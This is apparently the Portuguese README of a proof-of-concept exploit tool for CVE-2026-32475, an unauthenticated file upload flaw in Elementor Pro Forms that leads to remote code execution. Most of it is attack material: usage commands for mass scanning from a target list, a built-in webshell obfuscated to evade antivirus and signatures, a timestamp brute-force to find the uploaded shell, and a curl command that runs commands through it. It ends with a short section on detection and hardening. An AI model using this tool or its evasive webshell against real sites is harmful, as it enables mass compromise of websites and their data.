
Prova de conceito de exploit para CVE-2026-32475, um upload arbitrário de arquivos sem autenticação no Elementor Pro que leva à execução remota de código. Inclui varredura em massa, confirmação de nome de arquivo por força bruta e um webshell ofuscado integrado para testes autorizados.
Upload Arbitrário de Arquivo Pré-Autenticação no Elementor Pro Levando à Execução Remota de Código
Prova de conceito para CVE-2026-32475, uma vulnerabilidade crítica de upload arbitrário de arquivo não autenticado no módulo Forms do Elementor Pro que resulta em execução remota de código. O PoC envia duas partes de arquivo para o mesmo campo de upload — uma primeira entrada vazia (nome de arquivo em branco, acionando UPLOAD_ERR_NO_FILE) seguida pelo payload. O loop validation() sai antecipadamente na entrada vazia via return, enquanto process_field() a ignora via continue, então o payload nunca passa pela verificação de extensão e é armazenado em um diretório público com extensão .php. PoCs que testam o comportamento corrigido — a mesma requisição após o patch — devem ser bloqueados pela verificação de extensão.
Nota: Este PoC é apenas para testes de segurança autorizados e pesquisa. CVE-2026-32475 está sendo ativamente explorada no mundo real, e a Wordfence bloqueou mais de 190.000 tentativas desde a divulgação em 19 de agosto. Você é responsável por cumprir todas as leis aplicáveis e obter autorização por escrito antes de testar qualquer sistema.
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)<= 4.2.1requestsInstale as dependências:
pip install requests
python cve-2026-32475-poc.py -t http://localhost/wplab/?page_id=6
python cve-2026-32475-poc.py -t http://localhost/wplab/?page_id=6 --brute --seconds-window 3
python cve-2026-32475-poc.py -t http://localhost/wplab/?page_id=6 --shell --brute
--shell envia um webshell PHP ofuscado mínimo (palavras-chave construídas em tempo de execução via
chr()/implode/strrev, parâmetro de comando vapcom) para que assinaturas estáticas simples e
varreduras AV em tempo real no disco não o sinalizem. O nome de arquivo armazenado ainda é aleatório
(<uniqid()>.php); combine com --brute, que testa ?vapcom=echo <marker> e reporta
exec confirmed: <name>.php. Uso manual após localização:
curl "http://TARGET/wp-content/uploads/elementor/forms/<uniqid>.php?vapcom=id"
python cve-2026-32475-poc.py -T targets.txt -o results.csv
python cve-2026-32475-poc.py -t http://target/page-with-form/ --payload ./lab-shell.php
| Argumento | Descrição | Padrão |
|---|---|---|
-t, --target | URL do alvo único | - |
-T, --targets | Arquivo com URLs de alvos, um por linha | - |
-o, --output | Arquivo de resultados (CSV: target, status, form_id, post_id, field, note) | - |
--timeout | Tempo limite de requisição em segundos | 15 |
--post-id | Substituir post_id detectado | auto |
--form-id | Substituir form_id detectado (id do widget Elementor) | auto |
--field | Substituir custom_id do campo de upload detectado | auto |
--payload | Caminho para um arquivo de payload personalizado (padrão: arquivo de token PHP benigno) | token benigno |
--shell | Enviar o webshell PHP ofuscado integrado (<?php ... system($_GET) ?> construído em tempo de execução, parâmetro vapcom) em vez do token | desativado |
--brute | Após um upload bem-sucedido, forçar o nome de arquivo uniqid() para confirmar a execução de código | desativado |
--seconds-window | Segundos antes/depois do cabeçalho Date do servidor para força bruta | 5 |
[*] Probing http://localhost/wplab/?page_id=6 ...
[+] Form found: post_id=6 form_id=a1b2c3d4 field=upload_file
[*] AJAX -> HTTP 200
[*] result: vulnerable - upload accepted
response : {"success":true,"data":{"message":"Your submission was successful.","data":[]}}
uploaded to : /wp-content/uploads/elementor/forms/<uniqid>.php
[+] CONFIRMED EXECUTION: 6a9bb5d70fba6.php -> 'POC3f9a2c...'
[*] done: 1/1 vulnerable
Um success:true na resposta AJAX significa que o payload foi aceito sem passar pela verificação de extensão. O passo 4 com --brute (um 200 no arquivo .php adivinhado contendo o marcador) confirma a execução de PHP no servidor — ou seja, RCE completo.
Status de resultados: vulnerable | patched | unknown | error
vulnerable — o servidor web retornou "success":true; o payload ignorou a verificação de extensãopatched — o upload foi rejeitado com erro de tipo de arquivo (a verificação de extensão foi executada)unknown — HTTP teve sucesso, mas a resposta não foi success:true (IDs incorretos ou estado inesperado)error — falha de requisição/parse (timeout, não-200, formulário não encontrado)<uniqid()>.<extensão_do_atacante> — o nome base enviado é descartado, então truques de dupla extensão/byte nulo são irrelevantes; apenas a verificação de extensão importa, e é ela que falha..htaccess em wp-content/uploads/elementor/forms/ que define Content-Disposition: attachment em todos os arquivos. Isso não impede a execução — o PHP ainda é executado no servidor e a resposta baixada é a saída executada. Para renderizar um shell no navegador em um laboratório, desative esse .htaccess; no mundo real, trate-o apenas como cosmético e dependa do bloqueio de PHP no nível do servidor.uniqid() = sprintf("%08x%05x", uint32(tv_sec), tv_usec), então o nome é derivado do tempo (segundos Unix, 32 bits baixos, + microssegundos). O passo de força bruta delimita o segundo observado no cabeçalho Date da resposta de envio e, para arquivos .php, solicita ?vapcom=echo <marker> (ou ?c= para o arquivo de token/--payload) para que uma resposta contendo o marcador seja execução real de PHP no servidor, não apenas leitura de arquivo. O pior caso é ~1 milhão de tentativas de microssegundos por segundo, então ajuste --seconds-window para manter as execuções curtas.# Arquivos PHP que não deveriam existir no diretório de uploads
find wp-content/uploads/elementor/forms/ -type f -name "*.php*"
.php/.phtml/.phar/.hta sob o diretório de formulários como evidência de comprometimento.GET sob /wp-content/uploads/elementor/forms/ e POST contendo elementor_pro_forms_send_form.mu-plugins, arquivos de núcleo/tema modificados e eventos inesperados de WP-Cron; prefira restaurar um backup íntegro conhecido em vez de limpar no local.location do nginx ou <FilesMatch> do Apache). Esta é a correção durável e degrada esta e futuras vulnerabilidades de upload para "desperdício de disco".elementor_pro_forms_send_form.